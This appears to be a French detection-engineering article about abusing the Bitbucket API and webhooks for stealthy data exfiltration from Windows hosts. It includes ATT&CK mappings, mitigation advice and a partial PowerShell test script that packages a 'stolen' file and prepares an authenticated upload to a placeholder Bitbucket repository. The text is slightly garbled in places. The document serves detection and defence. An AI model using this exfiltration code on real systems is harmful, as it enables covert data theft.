Exploitation de l’API Bitbucket : Un stratagème simple pour un vol de données furtif
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Cette preuve de concept montre comment un petit programme C peut abuser de l’API de webhook de Bitbucket pour exfiltrer la télémétrie de l’hôte à partir d’un système Windows compromis. Il collecte des détails tels que le nom de l’hôte, la version du système d’exploitation, les informations du processeur et les données de l’adaptateur réseau, puis cache la sortie dans le champ de description d’un webhook nouvellement créé, se fondant silencieusement dans le trafic cloud normal.
Enquête
L’auteur partage le code source complet, les étapes de construction et des exemples de requêtes curl pour créer, inspecter et supprimer le webhook utilisé pour la fuite de bout en bout. Le binaire compilé a été exécuté sur un hôte Windows 10 x64 22H2 dans un bac à sable ANY.RUN et a transmis des données sans alertes évidentes. Le rapport mentionne également une exploitation similaire des plateformes Git documentée dans l’activité APT récente.
Atténuation
Surveillez les connexions sortantes HTTPS vers Bitbucket et d’autres hôtes de code, et signalez les appels API qui créent des webhooks de manière inattendue ou qui contiennent un texte de description étrange. Exigez une authentification forte, limitez et encadrez les jetons API, appliquez le moindre privilège, et auditez régulièrement les modifications de configuration des dépôts.
Réponse
En cas de détection, bloquez le trafic sortant de Bitbucket à partir de l’hôte, révoquez les jetons API exposés, et faites l’inventaire des webhooks sur les dépôts pour éliminer les entrées malveillantes. Collectez les artefacts des points d’extrémité pour les analyses forensiques, scannez les charges utiles secondaires et faites tourner les identifiants des comptes CI/CD et des développeurs.
"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Action</b> – Collecte des informations système"] class action_collect action tech_sysinfo["<b>Technique</b> – <b>T1082 Découverte d’informations système</b><br/><b>Description</b>: Collecte des détails de l’hôte tels que le nom d’hôte, la version de l’OS, l’architecture du CPU, le nombre de processeurs, les disques logiques et les adresses IP."] class tech_sysinfo technique tool_bitbucket["<b>Outil</b> – API REST de Bitbucket Cloud<br/><b>Méthode</b>: POST avec nom d’utilisateur encodé Base64:APIu2011token"] class tool_bitbucket tool tech_webservice["<b>Technique</b> – <b>T1102.002 Service Web : Communication Bidirectionnelle</b><br/><b>Description</b>: Utilise l’API d’un service web légitime pour envoyer et recevoir des données."] class tech_webservice technique tech_exfil_repo["<b>Technique</b> – <b>T1567.001 Exfiltration via Service Web : Exfiltration vers Dépôt de Code</b><br/><b>Description</b>: Télécharge des données collectées vers un dépôt hébergeur de code via l’API du service."] class tech_exfil_repo technique tech_exfil_webhook["<b>Technique</b> – <b>T1567.004 Exfiltration via Service Web : Exfiltration via Webhook</b><br/><b>Description</b>: Envoie des données via un webhook configuré pour transporter des informations hors de l’environnement."] class tech_exfil_webhook technique tech_obfuscation["<b>Technique</b> – <b>T1001.003 Obfuscation des données : Usurpation de Protocole ou de Service</b><br/><b>Description</b>: Masque le trafic malveillant sous forme d’appels API normaux vers un service de confiance."] class tech_obfuscation technique %% Connections action_collect –>|utilise| tech_sysinfo tech_sysinfo –>|fournit des données à| tool_bitbucket tool_bitbucket –>|exploite| tech_webservice tool_bitbucket –>|crée un webhook pour| tech_exfil_repo tool_bitbucket –>|crée un webhook pour| tech_exfil_webhook tech_webservice –>|est dissimulé par| tech_obfuscation tech_exfil_repo –>|exfiltre des données via| tech_obfuscation tech_exfil_webhook –>|exfiltre des données via| tech_obfuscation "
Flux d’attaque
Exécution de la simulation
Prérequis : le contrôle préalable de télémétrie et de référence doit avoir été réussi.
Justification : cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Récit et commandes de l’attaque :
L’adversaire simulé a obtenu un petit ensemble de données (par exemple,C:tempstolen.txt) et souhaite l’exfiltrer vers un dépôt Bitbucket privé sans éveiller les soupçons. Pour se fondre avec les outils de développement légitimes, l’attaquant choisit l’objet COM natif WinHTTP (WinHttp.WinHttpRequest.5.1) car il est couramment présent sur les systèmes Windows et invoque directement lesWinHttpConnectandWinHttpSendRequestfonctions que la règle de détection surveille.- Créer un fichier temporaire contenant des données d’exfil fictives.
- Instancier l’objet COM WinHTTP.
- Ouvrir une connexion POST vers
https://api.bitbucket.org/2.0/repositories/<équipe>/<dépôt>/src. - Définir les en-têtes appropriés (
Authorization : Basic …,Content-Type : multipart/form-data). - Envoyer le contenu du fichier.
- Vérifier la réponse HTTP 200.
Cette séquence exacte entraîne Sysmon à enregistrer un
NetworkConnectévènement où le processus ispowershell.exeet la fonction chaine inclutWinHttpConnectandWinHttpSendRequest, satisfaisant la règle Sigma. -
Script de test de régression :
# -------------------------------------------------------------- # Exfiltration API Bitbucket via WinHTTP (Déclenche la règle Sigma) # -------------------------------------------------------------- $tempFile = "C:tempstolen.txt" $repoOwner = "evilcorp" $repoName = "leaked-data" $username = "eviluser" $appPassword = "APPPASSWD" # Base64 de "username:appPassword" $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword")) # 1. Créer des données fictives si non présentes des données fictives si non présentes if (-not (Test-Path $tempFile)) { "Données sensibles collectées par l'adversaire" | Set-Content -Path $tempFile -Encoding UTF8 } # 2. Construire la charge utile multipart/form-data $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)" $body = @" --$boundary Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)" Content-Type: application/octet-stream
$(Get-Content $tempFile -Raw) –$boundary– « @
# 3. Initialiser l'objet COM WinHTTP
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"
-
Flux d’attaque
# Supprimer le fichier temporaire Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue # Révoquez éventuellement le mot de passe de l'application Bitbucket manuellement via l'interface web Write-Host "Nettoyage terminé. N'oubliez pas de supprimer le fichier téléchargé du dépôt si nécessaire."